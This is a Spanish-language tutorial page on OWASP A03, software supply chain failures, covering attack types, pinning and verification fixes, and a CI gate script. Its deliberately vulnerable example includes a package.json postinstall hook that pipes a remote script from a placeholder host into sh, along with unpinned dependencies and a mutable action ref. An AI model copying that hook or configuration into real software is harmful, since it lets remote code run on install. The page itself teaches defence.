saltar al contenido
volver al mapa
práctica
etapa: ship
3 min de lectura

A03 Software Supply Chain Failures

Tu aplicación es en su mayor parte código de otras personas. Una biblioteca vulnerable, un paquete malicioso o un paso de build manipulado llega a producción con tu nombre.

npm audit / pip-auditOSV-ScannerDependabot / RenovateSyft + GrypeSigstore cosignOpenSSF Scorecard

Qué es

Una falla en la cadena de suministro es una ruptura en cualquier punto de la cadena que entrega software: las dependencias que descargas, el registry del que las descargas, el sistema de build, los plugins de CI, la imagen base del contenedor y la forma en que se firman y despliegan los artefactos.

El :2025 la lista como A03, ampliando la antigua categoría sobre componentes vulnerables y desactualizados para cubrir toda la cadena, incluidos los paquetes maliciosos y los pipelines comprometidos.

Cómo funciona el ataque

  • Versión con vulnerabilidad conocida: una biblioteca con un público permanece en el lockfile durante años.
  • Typosquatting y : se instala un paquete con un nombre casi idéntico o de apariencia interna en lugar del real.
  • Mantenedor o paquete comprometido: un paquete legítimo publica una actualización maliciosa, a menudo con un script de instalación.
  • Pipeline envenenado: una action de CI o un script de build se modifica, o se fija a una tag mutable, y ejecuta código del atacante con tus secretos.
  • Artefactos sin verificar: nada demuestra que lo que corre en producción es lo que se construyó a partir del código fuente revisado.

Configuración vulnerable

Versiones sin fijar, una tag mutable de action de CI e instalación directa desde una URL arbitraria.

package.jsonjson
{
  "dependencies": {
    "left-pad": "*",
    "internal-utils": "latest"
  },
  "scripts": {
    "postinstall": "curl -s https://example.sh/setup | sh"
  }
}
.github/workflows/build.ymlyaml
steps:
  - uses: some-org/build-action@main        # ref mutable: cambia bajo tus pies
  - run: pip install -r requirements.txt     # sin hashes, sin lockfile
  - run: docker build -t app .               # FROM python:latest

La corrección

Sabe qué entregas (una lista de materiales de software), fija exactamente lo que instalas, verifica de dónde viene y haz confiable el propio pipeline. Fija por identificadores inmutables (SHA de commit, digest de imagen, hash de contenido) y escanea en cada cambio y de forma periódica, porque aparecen nuevos CVEs para código viejo.

instalar de forma deterministabash
# Node: instala exactamente lo que dice el lockfile, sin scripts de instalación de las dependencias
npm ci --ignore-scripts

# Python: exige hashes
pip install --require-hashes -r requirements.txt   # generado por pip-compile --generate-hashes
.github/workflows/build.ymlyaml
permissions:
  contents: read
steps:
  - uses: some-org/build-action@3f2a1c9d4e5b6a7c8d9e0f1a2b3c4d5e6f708192   # SHA de commit completo
  - run: pip install --require-hashes -r requirements.txt
  - run: |
      syft . -o cyclonedx-json > sbom.json
      grype sbom:sbom.json --fail-on high
Dockerfiledockerfile
FROM python:3.12-slim@sha256:<digest-you-reviewed>
COPY requirements.txt .
RUN pip install --require-hashes -r requirements.txt

Demuestra la corrección

Haz que el pipeline falle cuando la cadena se debilite: una dependencia vulnerable, una referencia sin fijar o un artefacto sin firmar. Estas verificaciones funcionan igual para cualquier lenguaje porque leen el lockfile, el y los archivos de workflow.

supply-chain-gate.shbash
set -e
# dependencias vulnerables (cualquier ecosistema con lockfile)
osv-scanner --lockfile=package-lock.json --lockfile=requirements.txt

# ninguna action de workflow puede usar una ref mutable
if grep -RInE 'uses: [^@]+@(main|master|latest|v[0-9]+)$' .github/workflows; then
  echo 'pin actions to a commit SHA'; exit 1
fi

# el artefacto debe estar firmado por la identidad de nuestro pipeline
cosign verify --certificate-identity-regexp 'https://github.com/example/app/.*' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  registry.example.com/app@$DIGEST

Checklist

  • Mantén un SBOM para cada release y sabe qué servicios usan qué versiones.
  • Haz commit de los lockfiles; instala a partir de ellos; revisa los cambios de dependencias en pull requests.
  • Prefiere pocas dependencias mantenidas; elimina lo que ya no uses.
  • Define un alcance o namespace de registry privado para los paquetes internos para frenar el dependency confusion.
  • Fija las actions de CI y las imágenes base a identificadores inmutables; dale al CI el que necesita.
  • Firma los artefactos y verifica la firma antes del deploy.
  • Escanea de forma continua: el build limpio de ayer puede tener un CVE hoy.
OWASP Top 10La lista de referencia más conocida de riesgos de seguridad en aplicaciones web (A01 control de acceso roto, A02 fallas criptográficas, A03 inyección...), revisada cada pocos años por la comunidad OWASP. Es un mapa educativo de categorías de riesgo, no un checklist de herramientas ni una certificación.ver en el glosario →CVEcommon vulnerabilities and exposuresEl identificador único de UNA vulnerabilidad pública específica, con el formato CVE-AÑO-NÚMERO. Ej.: CVE-2021-44228 es Log4Shell. Es la instancia real, no la clase del problema.ver en el glosario →Dependency confusionEngañar a un build para que descargue un paquete público con el mismo nombre que uno interno. Usa nombres con alcance y un registry privado que tenga prioridad.ver en el glosario →SBOMLa lista de ingredientes del software: dependencias, versiones, licencias y hashes, en un formato estándar.ver en el glosario →Mínimo privilegioleast privilegePrincipio de darle a cada identidad solo los permisos estrictamente necesarios para su función, y nada más. Es lo opuesto a 'usuario admin por defecto': cada rol extra es un camino más que un atacante puede usar después de un compromiso.ver en el glosario →

conexiones en el mapa

actualizado el 14/10/2026 · fuentes para profundizar · reportar un error

en otros dominios

Estudia antes

Desbloquea

pon a prueba lo que entendiste

Cargando preguntas…